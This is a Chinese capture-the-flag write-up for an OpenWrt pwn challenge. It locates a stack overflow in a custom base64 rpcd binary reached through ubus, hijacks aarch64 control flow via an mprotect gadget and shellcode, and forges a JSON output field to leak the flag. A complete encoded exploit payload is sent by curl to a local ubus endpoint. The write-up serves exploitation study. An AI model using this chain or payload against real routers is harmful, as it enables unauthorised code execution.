本题与可爱♂通e宝一起深入探讨交流
基本分析
确认大致漏洞点
题目给出了一个openwrt的img,从官网中下载官方的文件系统
https://downloads.openwrt.org/releases/22.03.3/targets/armvirt/64/
diff后发现,在rdp中多了一个base64的服务,d3op的文件系统比官网多了一个base64的elf,位于usr/libexec/rpcd,那么本题的漏洞点可以大致确定在base64这个elf中。
这个base64并不是直接去调用,而是在qemu中使用ubus去call这个应用程序间接调用。
交互
本地调试
payload例子:
1 | curl -S ubus call base64 encode '{"input":"payload"}' |
远程
payload例子:
1 | curl -v -d '{"jsonrpc":"2.0", "method":"call", "id":1, "params":["00000000000000000000000000000000","base64","decode",{"input":"payload"}] }' http://localhost:9999/ubus |
逆向分析
base64为aarch64架构,仅仅开启了nx保护,静态编译
由于我们知道base64提供了encode和decode的功能,所以可以搜索字符串快速定位到main_fun函数。
sub_40655c内容,主要在judge op后会判断走encode还是decode
在decode函数中,通过两个if判断来判断size是否可以继续解码写入数据到内存,其中存在v16数组越界,可以覆盖到下面的变量,从而造成溢出
利用思路
如何劫持执行流
由于可以栈溢出,并且在decode函数的最后汇编如下
汇编意义:
LDR是将memory中的数载入到寄存器,LDR可以载入立即数。格式如下:LDR 目的寄存器,源
STR是将寄存器中的数字载入内存。格式如下:STR{条件} 源寄存器,<存储器地址>
可以看到最后是通过sp来对x29,x30寄存器进行赋值,最后ret。
那么意味着我们栈溢出可以hijack掉这两个寄存器,并且由于aarch64架构下,函数返回地址是存放在x30,因此我们可以劫持执行流。
寻找可用的函数
由于是静态编译,不难想到可以查找下该elf编译了什么库函数。
通过搜索系统调用号,我们可以找到mprotect函数的位置
交叉引用下,发现只有两处调用mprotect函数时的第三个参数是7。
最后锁定了这一处,因为这可以控制通过x0+padding的方式控制完所有需要的寄存器。
因此我们尝试寻找一个能控制x0的gadget,这样我们就能在一定偏移处布置到调用mprotect时的寄存器,于此同时,这个gadget也需要能够再做一次执行流的跳转,此外mprotect记得地址要000结尾(逃
最后锁定下图的第四条gadget
至此我们就可以愉快的使用shellcode,但真的就结束了吗(
如何愉快的带出flag
在最后成功执行完orw后,我俩望着没有任何回显的shell发呆。
是的,在这题里就算你能hijack掉执行流,也不会有flag回显,甚至任何输出都没有。
因为是通过ubus call去调用的base64,然后我们hijack的是base64的执行流,base64打印flag与我ubus有何相关(bushi
通过询问chatgpt
我们可以大致捋清楚该过程,即客户端(即我们)是通过发送请求来让另一个进程响应请求并且调用base64,所以最后base64进程结束后,ubus会解析判断这个进程的返回值,即output,我们hijack了base64后直接write flag,由于不符合ubus 的 json返回格式,所以不会被解析然后传到ubus返回到当前shell
在最后,鼠鼠我尝试让执行流执行完read操作后,再跳回到原本的output,企图带出flag(但很显然失败的,失败的原因鼠鼠猜测是走到这里没办法正常的exit掉这个进程,然后客户端没有接收到这个进程exit的信号
最后的最后,我们采用了自行伪造一个json,输出flag的时候带上{“output”:””}
意思呢就是payload里本来就带有这么一个输出格式,执行shellcode的时候把flag写到这个格式里面,然后write这个一段,exit掉进程,ubus就会接收到这个进程exit,然后解析判断output,由于我们的output伪造成了一个正确的返回格式,于是就会将我们的flag愉快的带出来
Exp
1 | from pwn import * |
最后打远程的payload:
1 | curl -v -d '{"jsonrpc":"2.0", "method":"call", "id":1, "params":["00000000000000000000000000000000","base64","decode",{"input":"7sWM0o4trPLuDMDy7g8f+IDzn9Lg/7/y4P/f8uD///LhAwCR4gMfqggHgNIBAADUYACA0oFXhNJBCaDyAiCA0ugHgNIBAADUIACA0gFWhNJBCaDyAiCA0ggIgNIBAADUIACA0qgLgNIBAADUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwSgAAAAAAACBKAAAAAAB7Im91dHB1dCI6ICJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSJ9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAGAAAdBAAAhAUAAJAEAACYIEoAAAAAALiURAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACYIEoAAAAAAKR5RQAAAAAACB5KAAAAAACYIEoAAAAAAJggSgAAAAAAmCBKAAAAAAA="}] }' http://localhost:9999/ubus |
结果如下